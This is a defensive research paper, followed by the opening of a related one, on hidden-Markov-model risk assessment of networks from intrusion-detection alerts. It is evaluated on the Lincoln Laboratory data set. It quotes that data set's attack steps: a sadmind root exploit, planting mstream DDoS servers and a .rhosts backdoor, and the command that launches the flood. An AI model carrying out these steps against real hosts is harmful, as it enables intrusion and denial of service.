Locke (172.16.112.10) are attacked and compromised, and they are then used to
launch a DDoS attack against an external host using spoofed IP addresses. There
are two Snort network IDS sensors (an outside sensor and a DMZ sensor), and
the hosts Mill and Pascal are equipped with instances of the USTAT host-based
IDS.
Attack Phases The data set contains an attack in five phases (see [11]). The
phases are outlined below with excerpts from the original description.
IP sweep approximate time 09:45 to 09:52: “The adversary performs a scripted
IPsweep of multiple class C subnets on the Air Force Base. (...) The attacker
sends ICMP echo-requests in this sweep and listens for ICMP echo-replies to
determine which hosts are up.”
sadmind ping approximate time 10:08 to 10:18: “The hosts discovered in the
previous phase are probed to determine which hosts are running the sadmind
remote administration tool. (...) Each host is probed, by the script, using the
ping option of the sadmind exploit program.”
Break in to Mill, Pascal, and Locke approximate time 10:33 to 10:34: “The
attacker then tries to break into the hosts found to be running the sadmind
service in the previous phase. The attack script attempts the sadmind Remote-
to-Root exploit several times against each host (...) there are 6 exploit attempts
on each potential victim host. To test whether or not a break-in was successful,
the attack script attempts to login.”
Installation of DDoS tools on Mill, Pascal, and Locke approximate time 10:50:
“Entering this phase, the attack script has built a list of those hosts on which
it has successfully installed the hacker2 user. These are Mill, Pascal, and Locke.
For each host on this list, the script performs a telnet login, makes a directory
(...) and uses rcp to copy the server-sol binary into the new directory. This is the
mstream server software. The attacker also installs a .rhosts file for themselves.”
Outbound DDoS with spoofed source IP addresses approximate time 11:27: “In
the final phase, the attacker manually launches the DDoS. This is performed
via a telnet login to the victim on which the master is running, and then, from
the victim, a telnet to port 6723 of the localhost. (...) The command mstream
131.84.1.31 5 causes a DDoS attack, of 5 seconds duration (...) to be launched
by all three servers simultaneously.”
Observation Messages Based on the available alert data and the output from
the alert classification preprocessor, we use the following observations in the
implementation:
1. Suspicious Snort alert: All alerts that are not explicitly classified.
2. Compromise Snort alert: All alerts that are classified as “successful admin”.
3. Scan Snort alert: All alerts that are classified as “successful recon limited”.
4. Host-based alert (only available for hosts Mill and Pascal): The data set only
contains the alert types “unauth delete” and “restricted dir write”.
5. Outbound Snort alert: All Snort alerts originating from an internal host.
6. No alert: This observation is assumed whenever there are no other alerts to
be processed for a host.
The classification could be made more fine-grained, but it is kept simple in this
paper for demonstration purposes. In particular, the output of the host-based
USTAT IDS in a real setting would generate a wide range of different alert
types. In this example, however, we have made the simplification of modeling
the USTAT sensor as producing one observation type only. Similarly, we have
made the assumption that outbound Snort alerts reduce the probability of being
in the “good” state.
Model Parameters The monitored network consists of 1016 IP addresses,
each modeled by an HMM. The transition probability matrices P, observation
probability matrices Q, initial state distribution vectors pi, and the cost vectors
C are the same for each host, with the exception of the hosts Mill and Pascal,
which incorporate the possibility of receiving USTAT alerts. As an example, the
host Mill is modeled as follows:
PMill =
0BB@
pGG pGP pGA pGC
pPG pPP pPA pPC
pAG pAP pAA pAC
pCG pCP pCA pCC
1CCA
=
0BB@
0.992995 0.004 0.003 0.000005
0.004 0.991995 0.004 0.000005
0.003 0.004 0.992995 0.000005
1× 10−34 1× 10−34 1× 10−34 1− 3× 10−34
1CCA ,
QMill =
0BB@
qG(1) qG(2) qG(3) qG(4) qG(5) qG(6)
qP (1) qP (2) qP (3) qP (4) qP (5) qP (6)
qA(1) qA(2) qA(3) qA(4) qA(5) qA(6)
qC(1) qC(2) qC(3) qC(4) qC(5) qC(6)
1CCA
=
0BB@
0.05 0.0001 0.02 0.01 0.02 0.8999
0.05 0.0001 0.25 0.01 0.02 0.6699
0.1 0.005 0.1 0.03 0.03 0.735
0.02 0.05 0.04 0.04 0.05 0.8
1CCA ,
piMill = (piG, piP , piA, piC) = (1, 0, 0, 0),
CMill = (cG, cP , cA, cC) = (0, 25, 50, 100).
From PMill, we can see that the probability of entering the state C is rela-
tively low, but that once entered, the probability of leaving this state is very low.
From QMill, we can see that the scan observation is relatively likely to occur
in the P state, that the suspicious and scan observations are relatively likely to
occur in the A state, and that the USTAT and outbound observations have a
relatively high probability in the C state. Note that once entered, the C state is
likely to last for a long time. From piMill and CMill, we can see that the initial
state of the host is G with corresponding cost 0. The maximum cost for the host
is 100. Most of the hosts do not have a host-based IDS and are modeled with the
following observation probability matrix (host Locke is given as an example):
QLocke =
0BB@
0.05 0.0001 0.02 0 0.02 0.9099
0.05 0.0001 0.25 0 0.02 0.6799
0.1 0.005 0.1 0 0.03 0.765
0.02 0.05 0.04 0 0.05 0.84
1CCA
For the purpose of this example all hosts, except the hosts with USTAT, have
the exact same model parameters. This is done for demonstration purposes and
in order to provide comparable results between the hosts. In a real setting, the
model parameters of the hosts would vary according to their security configura-
tions, the observation probability parameters vary according to the sensors used,
and the cost vector is determined by the value of the assets and the consequence
of the different security states.
Results The above models were implemented and used to perform real-time
risk assessment on the Lincoln Laboratory data set. The entire data set has a
duration of 11836 sec., and a total of 36635 alerts, 84 of which are USTAT alerts.
The remaining are Snort alerts. As outlined above, the data set consists of an
attack in five phases. By inspecting the data set, we can see that the phases
correspond to the approximate time periods 1500 - 1920 sec. (the IP sweep),
2880 - 3480 sec. (the sadmind ping), 4380 - 4420 sec. (the break in to Mill,
Pascal, and Locke), 5400 sec. (the installation of DDoS tools), and 7620 sec.
(the outbound DDoS).
Figure 3 shows the total assessed risk for the Lincoln Laboratory data for
the full duration of the data set. The figure shows a sum of the risk for all
hosts in the four subnets (in total 1016 hosts). The break-ins performed against
Mill, Pascal, and Locke are clearly visible as peaks of risk activity. The sadmind
ping also introduces a peak in the data, but the IP sweep and the installation
of DDoS tools are hardly distinguishable from the remaining activity. Note that
the system seems to have a minimum risk of approximately 1200 in the long run.
This is caused by a stable security state with risk level 1.09 for the individual
hosts, given a sufficiently long interval of only “no alert” observations. The stable
security state risk for the entire network is consequently 1107. The difference can
be explained by the fact that the host 172.16.114.1 has a high amount (more than
2000) of outbound ICMP related alerts. As a router, this host should probably
have different HMM parameters then the other hosts.
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Fig. 3. Total assessed risk for Lincoln Labs data set.
Figure 4 (a), (b), and (c) show the assessed risk for the hosts Mill, Pascal, and
Locke, respectively. The hosts Mill and Pascal have host-based IDSs (USTAT)
that provide several alerts during the experiment. This can be seen in Fig. 4 (a),
(b), and (c), as the host Locke has far less activity than the other two. Phase
3 and 5 of the attack are clearly marked with the maximum risk activity value
(100) for all three hosts. Phase 2 and 4 are also visible as peaks, whereas phase 1
is hardly discernible from the other activity in Fig. 4 (a) and (b), and not visible
at all in (c). Note that Pascal (Fig. 4 (b)) shows more peaks than Mill (Fig. 4
(a)). This is caused by the fact that Pascal produces 70 USTAT alerts, while
Mill only produces 14.
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(a) Assessed risk for host Mill.
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(b) Assessed risk for host Pascal.
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(c) Assessed risk for host Locke.
Fig. 4. Real-time risk assessment for Lincoln Labs data set.
Figure 5 (a) and (b) show the assessed total network risk and the assessed
risk for Mill at the approximate time of the compromise (4000s to 6000s). The
graphs correspond to Fig. 3 and 4 (a), but zoom in on the time period. Fig. 5
(b) shows the two peaks corresponding to phase 3 and 4 of the attack.
By counting the priority of the alerts for the entire data set, we can eval-
uate the performance of the alert prioritization mechanism. However, for the
purpose of the prioritization results, we do not consider the outbound DDoS
attack with spoofed IP addresses and the outbound alerts from the router with
IP address 172.16.114.1. The outbound DDoS attack alerts represents 93% of
the total alerts, and are all marked with the highest priority. The IP address
172.16.114.1 is discussed above. It has a high number of alerts (6% of the total
amount), and they would also all be marked as maximum priority alerts. Having
filtered out these alerts, 52.49% of the alerts are with priority below 20, 28.87%
with priority between 20 and 40, 6.49% with priority between 40 and 60, 2.35%
with priority between 60 and 80, and 9.81% with priority between 80 and 100. It
is clear that the alert prioritization is successful in that only a small percentage
of the alerts are assigned high priority values. The majority of the alerts are
marked as low priority.
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(a) Assessed network risk showing
system compromise.
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(b) Assessed risk showing host Mill
compromise.
Fig. 5. Lincoln Labs data set showing period of time of compromise.
We see that the risk assessment method with the current configuration and
alert classification parameters is able to assess the risk and detect several of the
security relevant incidents outlined above. In particular, we see that the model
is capable of assigning the appropriate maximum risk values to the two most
critical incidents, the compromise and the outbound DDoS attack with spoofed
IP addresses.
4.2 Real Traffic Data from the Technical University of Vienna
The second data set is based on real network traffic from the Technical University
of Vienna [8]. The data set contains a trace of nine days for a class B network.
However, in this experiment we have only included three days worth of data
from one class C network. There were no known security incidents during this
period. The IDS used in this setup is Snort with the same signature set as in the
previous example. The model parameters are also the same as in the previous
example, with the exception that there are no host-based IDSs in this setup.
Results Figure 6 shows the assessed risk for the entire network for the full
three day period. The two periods of increased risk activity are caused by an
increasing amount of outbound alerts, as seen in Fig. 7 (c). We see that the risk
seems to have a lower bound at a level about 280. This lower bound is the total
risk associated with the stable security state of the individual host HMMs. As
in 4.1, the individual stable state risk for a host is 1.09, and the total stable
state risk for the network is consequently 276.86.
Figure 7 (a), (b), (c), and (d) show the assessed risk for a duration of 3.5
hours, corresponding to the second period of increased activity in Fig. 6. Fig. 7
(a) shows the risk activity for the full network, indicating three peaks of increased
risk and some periodic fluctuations. Fig. 7 (b) shows the risk activity for a host
with no alert activity. Fig. 7 (c) shows the risk activity for a host with outbound
alerts that lead to several peaks of maximum risk for the host. Based on the
underlying traffic data, it has been determined that these alerts are in fact false
alerts from Snort caused by a specific user pattern. Finally, Fig. 7 (d) shows the
risk activity for a web server with periodic peaks of risk values between 20 and
40. This is caused by probing activity directed at the web server. This activity is
present during the entire period, and is a contributing factor to the fluctuations
in Fig. 6.
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Fig. 6. Total assessed risk for class C subnet (3 days).
For this data set, 46.35% of the alerts are assigned priority below 20, 49.78%
with priority between 20 and 40, 1.29% with priority between 40 and 60, 0.08%
with priority between 60 and 80, and 2.49% with priority between 80 and 100.
As for the previous example, it is clear that the alert prioritization is successful
in that only a small percentage of the alerts are assigned high priority values.
We see that the approach is applicable to data from real network traffic.
However, this example demonstrates that the proposed model is dependent on
the accuracy of the underlying IDSs, and false positives and negatives affect
the results of the risk assessment. In this experiment, we have reused the HMM
parameters from the Lincoln Laboratory example. This allows us to compare
the performance of the model under similar circumstances. However, this is not
an optimal approach for this data set, as the parameters should be estimated
specifically for the monitored network.
5 Discussion
The network risk assessment approach presented in this paper provides a quan-
tification of the risk level of hosts in a network. An alternative, naive approach
to this problem could involve counting alerts and assigning a value according to
the assumed impact of the alerts. A decay function could be used to facilitate
a gradual decrease in risk to avoid a non-decreasing risk situation. The method
proposed in this paper provides several advantages over the naive approach. The
primary advantage is that HMMs provide an established framework for state
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(a) Assessed risk for class C subnet
(3.5 hours).
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(b) Assessed risk for a host with no
alert activity (3.5 hours).
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(c) Assessed risk for a host with out-
bound alerts (3.5 hours).
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(d) Assessed risk for a web server
(3.5 hours).
Fig. 7. Real-time risk assessment for a real Class C subnet (3.5 hours).
estimation, modeling both the probabilities of entering certain states, as well as
the probabilities of receiving different observations in each state, effectively pro-
viding a framework for representing the false-positive and false-negative effects
of IDSs. The state modeling and transition probabilities can also be related to
traditional risk assessment methodologies. Finally, the use of learning algorithms
and parameter re-estimation can be employed to tune the system automatically.
Note that we model the security state of a system; we do not attempt to
model individual attacks or attackers. One limitation of the approach is that
an attacker with knowledge of the HMMs used could attempt to camouflage a
successful compromise by subsequently causing a number of less serious alerts.
Depending on the HMMs used, this could lead to a misrepresentation of the risk
level of the system.
The HMMs used in this paper are fully connected, in that every state of the
model can be reached in a single step from every other state of the model [13].
It is possible to use other types of HMMs, such as the left-right models. These
models can, for example, be used if one wants to model the compromised state
as consuming; i.e., that the probability of being in state C never decreases. Fig. 8
shows an example of a left-right HMM, which only allows transitions from left to
right; i.e., to more security critical states. If there is a steady input of alerts, the
risk of a system modeled with this HMM will tend to approach the maximum
risk for the system.
G P A C
Fig. 8. A left-right HMM.
Although the experiments in this paper were run in an off-line mode, we
believe that the method is capable of handling alerts in real-time. The 3.5 hour
Lincoln Laboratory data set was processed in 2 minutes 44 seconds, while the
3 day TU Vienna data set was processed in 20 minutes 54 seconds. Even with
significantly smaller time intervals, the model would still be able to process alerts
on a single host in real-time for multiple class C networks.
6 Related Work
Research in risk assessment and risk management has traditionally focused on
the development of methods, tools, and standards for risk assessment. Two com-
monly recommended references for risk management are [14] and [15]. Method-
ologies, such as Coras [2] and Morda [5], have been developed to support the
risk assessment process. This paper complements these approaches by performing
risk assessment in real-time based on an initial estimation of model parameters
representing the probabilities of different security states. A real-time risk assess-
ment method has previously been proposed by [6]. However, that approach is
limited to risk assessment for individual hosts.
A number of different approaches that perform alert prioritization have been
proposed. In [12] Porras et al. present a model that takes into account the im-
pact of alerts on the overall mission that a network infrastructure supports. This
approach relies on a knowledge base that describes the security-relevant char-
acteristics of the protected network in order to prioritize the alerts. Other alert
prioritization systems [4, 7, 9] perform alert verification. These systems assign a
higher priority to alerts that are verified as true attacks, while alerts that are de-
termined to be false positives are given a low priority. Alert verification systems
operate either oﬄine or online. Oﬄine systems perform periodic vulnerability
scans of the protected network and store the result in a database. Alerts are
verified by checking if the vulnerabilities that the alerts refer to are present on
the attacked hosts. Online alert verification systems operate in a similar way,
but no database is kept. Instead, vulnerability scanning is performed on-demand
when alerts are received by the system [10].
7 Conclusions and Future Work
We have presented an approach to real-time network risk assessment that de-
termines the risk level of a network as the composition of the risks of individual
hosts, providing a precise and fine-grained model for risk assessment. The model
is probabilistic and uses Hidden Markov Models to represent the likelihood of
transitions between security states. We have tightly integrated the risk assess-
ment approach with the STAT framework and have used results of the risk
assessment to prioritize the IDS alerts. Finally, we have evaluated the approach
using both simulated and real-world data.
An important limitation of this approach is the need for model parameter
estimation. The parameters for our experiments were estimated manually. This
is a time-consuming task with inherent uncertainties. We plan to investigate the
use of training algorithms to estimate the model parameters
For the experiments in this paper we did not take into consideration de-
pendencies between hosts. Doing this would give a more accurate overview of
network risk and better model the consequences of security incidents relating to
assets inside a network. For example, if a host on the inside of a network is com-
promised, this should increase the risk level of other hosts within the network
as well. We plan to include inter-host dependencies in our future experiments.
A general framework for handling multiple sensors can be implemented by
representing each of the sensors monitoring a host with an HMM. In this way,
each sensor can be assigned a separate observation probability matrix Q. The
state estimation can be performed on behalf of each of the sensors, while the
risk for a host is computed as a function of the state estimates of all the relevant
sensors. This will be implemented in the next version of the system.
We have performed experiments using real-traffic data in an off-line mode,
but we have not yet tested the system on-line with live traffic. This will be done
as part of the future work.
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Abstract
This paper presents a method for real-time risk assessment of large-scale networks. The
method provides a mechanism for handling data from multiple, heterogeneous sensors with dif-
ferent levels of trustworthiness. It aims to serve as a higher level of abstraction for applications,
such as risk management, network monitoring and incident response. In order to assess net-
work risk in a real-time setting, the method is adapted to approximate continuous time system
behavior. In addition, design issues, such as the use of multiple sensors and the queuing of
sensor observations, are addressed. A discrete-event simulator is implemented, demonstrating
the real-time risk assessment based on observations from intrusion detection systems. Using this
simulator, we model and simulate the risk assessment of a large network and compare the results
to the true values in order to validate the proposed approach.
1 Introduction
The practice of risk management is becoming increasingly important as information systems and
networks are growing more complex and interconnected. Traditional risk assessment techniques
focus on manual analysis of network components during system design, but do not address the
dynamic assessment of network risk. On the other hand, intrusion detection systems (IDS) focus
on the detection and reporting of security-related events, but often fail to provide an overview of
the overall network risk or the priorities of observed alerts. In order to handle incidents in a more
appropriate and efficient manner, methods for automated real-time risk assessment are needed.
In this paper, we present and further develop a method for real-time risk assessment based on
hidden Markov models (HMMs). The purpose of this approach is ultimately to effectively identify,
prioritize, and respond to threats to critical assets.
This paper begins by presenting previous and related work on distributed IDS and real-time risk
assessment. The proposed reference model and the basic risk assessment method are presented in
Section 2 and 3. Section 3 also explains how the model can be used to approximate a continuous time
setting, adapted to deal with bursts of observation data. Section 4 describes the implementation of
a discrete-time, discrete-event simulator. Section 5 we provide results from simulation experiments.
Finally, Section 6 concludes the paper and points to future work.
1.1 Previous Work
We have previously outlined a methodology for real-time risk assessment using HMMs in a multi-
agent system architecture [1]. The method provides a higher level of abstraction for network security
monitoring, suitable for risk management and incident response applications. The system relies on
input from a number of heterogeneous sensors, typically IDS, with different trustworthiness in terms
of false positives and negatives. This paper further develops and addresses some of the limitations
of this initial approach.
HMMs are discrete-time models, inherently not suitable for continuous time sensor data. More-
over, the use of multiple sensors is not directly supported by HMMs. In [1], these limitations were
addressed by using a round-robin sampling of observations from sensors. A major drawback of this
approach is that it cannot, without loss, handle the arrival of simultaneous observations. In real-life
applications, one must be able to handle and correctly interpret bursts of alerts from several sensors,
as well as observations arriving sparsely distributed in time. Also, [1] did not consider parameter
estimation. A good model parameterization is crucial in order to obtain accurate results from the
risk assessment process. In order to reduce the number of individual initial parameter evaluations,
it is desirable to generalize the parameters for similar objects through the use of parameter profiles.
We address these issues by estimating the security states of the monitored assets at the sensor level,
and by using generalized profiles to simplify the model parameterization task. The security state
probabilities for an asset are computed for each sensor using the HMM method, and the risk is in
turn computed for each asset as a function of all its sensor input. A profile represents a class of
assets or sensors with common attributes. Simulation experiments are provided to demonstrate and
validate the method using a realistic scenario.
1.2 Related Work
Risk assessment has traditionally been a manual analysis process based on a standardized frame-
work, such as those recommended by NIST [13] and AS/NZS [12]. A notable example of real-time
risk assessment is presented in [6], which introduces a formal model for real-time characterization of
the risk faced by a host. Intrusion tolerance is a recent research field in information security related
to the field of fault tolerance in network dependability. The research project SITAR [7] presents a
generic state transition model, similar to the model used in this paper, to describe the dynamics
of intrusion tolerant systems. Probabilistic validation of intrusion tolerant systems is presented in
e.g., [11].
Distributed intrusion detection systems are discussed in several research papers, such as DIDS [5]
and GrIDS [4], and a multi-agent system for intrusion detection was proposed in [2]. STAT [15]
is a state-based IDS that uses state modeling to describe and detect attacks. An alert correlation
framework providing for STAT is presented in [14]. Hidden Markov models have been used in IDS
architectures to detect multi-stage attacks [9], and as a tool to detect misuse based on operating
system calls [16]. Our approach shares some attributes with several of these systems, but we attempt
to study the network risk at a higher abstraction level, rather than to detect specific attacks and
intrusions. The recent IDMEF (Intrusion Detection Message Exchange Format) IETF Internet
draft [3] is expected to be a suitable language for message exchange between IDS sensors and the
risk assessment system proposed in this paper.
2 Terminology and Reference Model
This section provides a brief description of the terminology and the reference model used in this
paper. We discuss both the target network architecture and the monitoring and assessment ar-
chitecture. Ideally, these systems can be assumed to be independent. See [1] for a more detailed
description.
2.1 Target Network Architecture
The target of the risk assessment process is a generic, arbitrarily complex computer network, con-
sisting of entities that are either subjects or objects. The subjects are capable of performing actions
on the objects. For the purpose of the risk assessment in this paper, an object is considered to
be an asset. Unknown factors in such a network may represent vulnerabilities that in turn can be
exploited by a malicious attacker or computer program, causing unwanted incidents. The potential
exploitation of vulnerabilities can be described as threats to the assets. The risk of the network can
be estimated by evaluating the probability and consequence of unwanted incidents.
2.2 Monitoring and Assessment Architecture
As in [1], we assume a multiagent system architecture consisting of agents and sensors. A sensor
primarily refers to an IDS, but can be any information-gathering program or device capable of
collecting security relevant data, such as logging systems, virus detectors, honeypots, and network
sniffers using sampling or filtering. Their main task is to gather information about the security
state of assets and to send standardized observation messages to the agents. An agent is a computer
program capable of a certain degree of autonomous actions. In this paper, agents are responsible for
performing real-time risk assessment based on data collected from a number of sensors monitoring
one or more assets. The multiagent architecture has been chosen for its flexibility and scalability,
in order to support future applications, such as distributed automated response.
3 The Risk Assessment Model
This section formalizes the proposed risk assessment model. The model is based on [1], but proposes
some modifications and improvements.
3.1 Modeling Assets as Hidden Markov Models
Assume that the security of an asset can be modeled by N states, denoted S = {s1, . . . , sN}. A
state refers to an operational mode of the asset characterized by which units of the assets that
are operational or failed, whether there are ongoing attacks, active countermeasures, operational
or maintenance activities, whether the asset is compromised or not, etc. The decision of what to
include in the state definition is a trade-off between model expressiveness and complexity. Different
applications will likely require different state models. An example primary for illustration will be
presented in Section 5. The behavior of an asset is characterized by the transitions between its
states. Due to attack attempts and compromises, or administrative activities, the security state
of an asset will change over time. The sequence of states visited is denoted X = x1, x2, . . ., where
xt ∈ S is the state visited at time t. We assume that the probability of future states depend only on
the current system state, i.e., P (xt+1 = si|xt, xt−1, . . . , x1) = P (xt+1 = si|xt). Hence, the security
behavior of an asset can be modeled by a Markov chain.
The risk observation messages are provided by the K sensors monitoring an asset, indexed by
k ∈ {1, . . . ,K}. An observation message from sensor k can consist of any of the symbols in the
observation symbol set V k = {vk1 , . . . , vkMk}. Different sensors may therefore produce observation
messages from different observation symbol sets, depending on the sensor type. We assume that
the observation messages are independent variables, i.e., an observation message will depend on the
asset’s current state only and not on any previous observation messages. The sequence of messages
received from sensor k is denoted Y k = yk1 , y
k
2 , . . ., where y
k
t ∈ V k is the observation message
received from sensor k at time t. Based on the observation messages, an agent performs real-time
risk assessment. The observation messages can be received from several sensors simultaneously, and
they may contain conflicting information. As one cannot assume that it is possible to resolve the
correct state of the monitored assets at all times, the observation symbols are probabilistic functions
of the asset’s security state. The asset’s true state is hidden. This is consistent with the basic idea
of HMMs [10].
For each sensor k monitoring an asset, there is an HMM described by the parameter vector
λk = (P,Qk, pi). P = {pij} is the state transition probability distribution matrix for an asset,
where pij = P (xt+1 = sj |xt = si), 1 ≤ i, j ≤ N . Hence, pij represents the probability that the
asset will transfer into state sj next, given that its current state is si. pi = {pii} is the initial state
distribution for the asset. Hence, pii = P (x1 = si) is the probability that the asset was in state si
when the risk assessment process started.
For each asset, there are K observation symbol probability distribution matrices, one for each
sensor monitoring the asset. The observation symbol probability distribution matrix Qk = {qkj (l)}
is a probability distribution for an asset in state sj over the observation symbols from sensor k,
whose elements are qkj (l) = P (y
k
t = v
k
l |xt = sj), 1 ≤ j ≤ N, 1 ≤ k ≤ K, 1 ≤ l ≤ Mk. The element
qkj (l) in Q
k represents the probability that sensor k will send the observation symbol vkl given that
the asset is in state sj . Qk therefore indicates sensor k’s false-positive and false-negative effects on
the agents risk assessments.
The pi vector and the P matrix describe the initial state and security behavior of an asset, and
must be the same for all sensors monitoring the same asset. Since each sensor may produce a unique
set of observation symbols, the Q matrix depends on the sensor k.
3.2 Quantitative Risk Assessment
Following the terminology in [12], risk can be measured in terms of consequences and likelihoods.
A consequence is the qualitative or quantitative outcome of an event, and the likelihood is the
probability of the event. To perform risk assessment, we use a mapping: C : S → R, describing the
cost due to loss of confidentiality, integrity and availability associated with each state of an asset.
The total risk Rt for an asset at time t is
Rt =
N∑
i=1
Rt(i) = K−1
K∑
k=1
N∑
i=1
C(i)γkt (i) (1)
where γkt (i) is the (estimated) probability that the asset is in security state si at time t, based on
observations from sensor k. N is the number of states for the asset, K is the number of sensors,
and C(i) is the cost value associated with state si. Here, the sum of the estimates γkt from the
sensors are weighted equally by K−1. Ideally, the estimates should be weighted in accordance to
the reliability of the sensor data so that estimates from unbiased sensors with low variance will be
given higher priority.
The risk value obtained from (1) represents the current asset risk at time t. In order to perform
real-time risk assessment, Rt needs to be regularly updated. For each sensor k the agent computes
the asset’s current state probability γkt = {γkt (1), . . . , γkt (N)}, at each time instant t. Given an
observation ykt , and the HMM λ
k = (P,Qk, pi), the agent can update the state probability by using
Alg. 1. This algorithm relies on a forward variable, computed by means of Alg. 2. To simplify
the notation the sensor index k has been omitted in these algorithms. For further details on the
algorithms, see the Appendix.
Algorithm 1 Update state probability distribution γt
Require: yt, αt−1, λ {observation at time t, forward variable at time t− 1, the HMM}
Ensure: γt {the security state probability at time t}
use Alg. 2 to compute the forward variable αt
for i = 1 to N do
γt(i)← αt(i)PN
j=1 αt(j)
end for
return γt = {γt(i)}
3.3 A Continuous Time Approximation
The HMM defined in Section 3.1 is a discrete-time model, inherently not suitable for continuous-
time observation data. A model for real-time risk assessment must be able to handle bursts of
alerts, as well as silent periods without alerts. Ideally, no alerts should be discarded at any time.
To correctly interpret alerts by malicious events as an indication of an ongoing attack, the time
interval between subsequent alerts must be considered in the model. To solve this problem we make
a continuous-time approximation, similar to [17]. By using a fixed, sufficiently short, time period
between events in the discrete-time model, the intervals between observations will be multiples of
this period.
Algorithm 2 Compute forward variable αt
Require: yt, αt−1, λ {observation at time t, forward variable at time t− 1, the HMM}
Ensure: αt {the forward variable at time t}
for i = 1 to N do
if t = 1 then
αt(i)← qi(yt)pii
else
αt(i)← qi(yt)
∑N
j=1 αt−1(j)pji
end if
end for
return αt = {αt(i)}
Recall that an agent will process a sequence of discrete-time observation messages Y k, where
ykt ∈ V k is the observation message received from sensor k at time t. We define the time between
two subsequent observation messages as ∆, where ∆ is a fixed value. Hence, in a continuous-time
context, pij(∆) = P (xt+∆ = sj |xt = si) represents the probability that an asset will be in state
sj after an additional time ∆, given that its current state at time t is si. For simplicity we let pij
represent pij(∆). In case there are no observation messages during ∆, a “null” message is generated.
When two or more observation messages arrive within this time interval, they are placed in a queue
and processed at time t + ∆, t + 2∆, . . .. The queue will necessarily introduce a delay in the risk
computation. ∆ should therefore be small enough so that the agent can handle the alert frequency
of the monitored asset in real-time with minimal loss of alerts due to a full queue. The queue size
must, however, not be so large that the system looses its ability to assess risk in real-time. As an
example, a queue size of 1200 alerts and ∆ = 1 second introduces a maximum delay of 20 minutes,
which is unacceptable for most applications. On the other hand, the processing capacity of the
agent should not be exceeded; it must be able to update the state probability (i.e., execute Alg. 1
and 2) in less than ∆. The selection of a suitable time interval is a configuration issue that depends
on the actual implementation.
4 The Simulator
In order to demonstrate and validate the theory in a realistic setting, we implemented a discrete-
time, discrete-event simulator. This enabled us to simulate the security events and risk assessment
process of large networks over a longer period of time. We refer to the states generated by the
simulator as the true security states of the assets, whereas the estimated security state distribution
refers to the state distribution estimated by Alg. 1. Consequently, by applying (1), the true risk
refers to the risk value computed from the true security state, and the estimated risk refers to the
risk value computed from the estimated security state distribution. The true and estimated risk of
the simulated systems are compared in order to study the validity of the method.
4.1 Simulator Design
The simulator was implemented using the JSIM [8] discrete-event simulation framework for Java.
JSIM consists of a Scheduler, where Events are scheduled to be performed on Entities. The
entities of the risk-assessment simulation are Assets (representing hosts) and Sensors (representing
IDS sensors), and the events are the StateEvent, the SensorProcessEvent, the ObservationEvent,
and the RiskUpdateEvent. The simulator can be divided into three phases: initialization, execution,
and reporting. A class diagram showing an overview of the simulator classes is depicted in Fig. 1(a).
Fig. 1(b) depicts the scheduling of the Events.
During initialization, each Asset and Sensor is initialized with appropriate HMM model param-
eters, i.e., P and pi for Assets andQk for Sensors. For each Asset, an initial state x1 ∈ S is chosen,
according to its initial state probability distribution pi. RiskUpdateEvents (events that cause an
(a) Simulator UML class diagram. (b) Overview of scheduler, events, and entities.
Figure 1: Simulator design.
update of the true security state of the Assets), SensorProcessEvents (events that cause sensors
to estimate a new security state distribution by using Alg. 1), and RiskUpdateEvents (events that
cause Assets to update their assessed risk according to (1)), are scheduled for each time interval of
the simulation.
At each time t during the execution, the StateEvents cause Assets to transfer to their next state
xt+1, based on their transition probability matrix P. These states are sensed by the Sensors, that
in turn schedule ObservationEvents, representing a Sensor observations ykt based on the true state
and the observation probability matrixQk. The ObservationEvents cause the Sensors to read and
queue the observations for further processing. A SensorProcessEvent for every sensor is scheduled
for each time interval and causes each Sensor to process the first Observation in its queue and
update its state distribution using Alg. 1. Finally, for each time instant t, the RiskUpdateEvents
cause every Asset to update their risk value based on the input from one or more Sensors. The
current risk value Rt is computed in accordance to (1) and stored in the SimStatistics class.
Fig. 1(b) shows the sequence of events acting on the entities (assets and sensors).
The simulation results are stored in the SimStatistics object during the simulation and written
to file for further analysis when the simulation has executed. The risk values for the Assets, as well
as the aggregated risk level of the entire network, is stored for for each time instant t. Additional
processing, such as correlation analysis, is also performed at this stage.
4.2 Implementation Issues
This section provides a discussion of some design considerations for the risk-assessment simulation
implementation.
Observation Message Queues As discussed in Section 3.3, each Sensor must be associated
with an observation message queue, in order to handle bursts of alerts without data loss. Whenever
a Sensor receives an observation message for a particular asset, an observation is put in a queue
and processed on a first-come first-serve basis. Only the first observation in the queue is processed
by each sensor in each time interval ∆. These mechanisms are implemented in the simulator, but
they would be best studied using experimental or real traffic data. The discrete-time simulator
described in this paper consequently does not simulate alert burst, and using the method on real
sensor data is left for future work.
Null Observations Most IDS sensors do not provide observations indicating a good state; they
only provide warnings and alerts. In this implementation, the risk assessment process therefore
produces and inteprets a “null” observation whenever the message queue of a sensor is empty. As
will be seen in the simulated example in Section 5, one can usually assume that the null observation
indicates a good state.
Profiles For large networks, estimating initial parameters for all assets and sensors can become
very time-consuming. To address this, we implemented the AssetProfiles and SensorProfiles
java classes, which contain sets of HMM parameters that are common to several assets and sensors.
As will be seen in Section 5, there can be profiles for different types of hosts (such as web-servers,
routers, workstations, and laptops), as well as for different types of sensors (such as network and
host IDS). For now, the profiles are implemented directly in Java as part of the simulator, but ideally
the profiles should be described as part of an overall network model using a suitable language, such
as XML.
Scaling In the actual implementation of Alg. 1 and 2 we used a scaled version of the forward
variable: αt(i) = Ctαt(i), where Ct = (
∑N
i=1 αt(i))
−1. The purpose is to keep the computations
within the precision range of the computer. It can be shown that these scaling coefficients cancel
out [10, pp. 272].
5 Examples and Simulation Results
The predecessor of this paper [1] included a simple example, which demonstrated how the assessed
risk value of an asset varies as an agent receives and processes a predefined observation sequence.
To demonstrate the method in a real-world context, we now simulate the risk assessment process
of a large network with multiple sensors throughout the network. In order to efficiently manage a
high number of hosts, SensorProfiles and AssetProfiles are defined for the different types of
sensors and assets.
The network consists of an Internet gateway (router), two publicly available web-servers on a
demilitarized zone (DMZ), two protected file-servers, as well as ten workstations and ten laptops
(see Fig. 2). Each host type is described by an AssetProfile, as discussed above. The profiles
represent different levels of exposure to attacks and compromises, as well as the particular costs
associated to the assets’ states. For the purpose of this example, we assume that the state space
of each asset can be represented by a simple Markov model with the states G (good), A (under
attack), and C (compromised). State G means that the asset is up and running securely and that
it is not subject to any kind of attack activity. In contrast to [7], we assume that assets are always
vulnerable to attacks, even in state G. As an attack against an asset is initiated, it will move to
security state A. An asset in state A is subject to an ongoing attack, possibly affecting its behavior
with regard to security. Finally, an asset enters state C if it has been successfully compromised
by an attacker. An asset in state C is assumed to be completely at the mercy of an attacker and
subject to any kind of confidentiality, integrity and/or availability breaches.
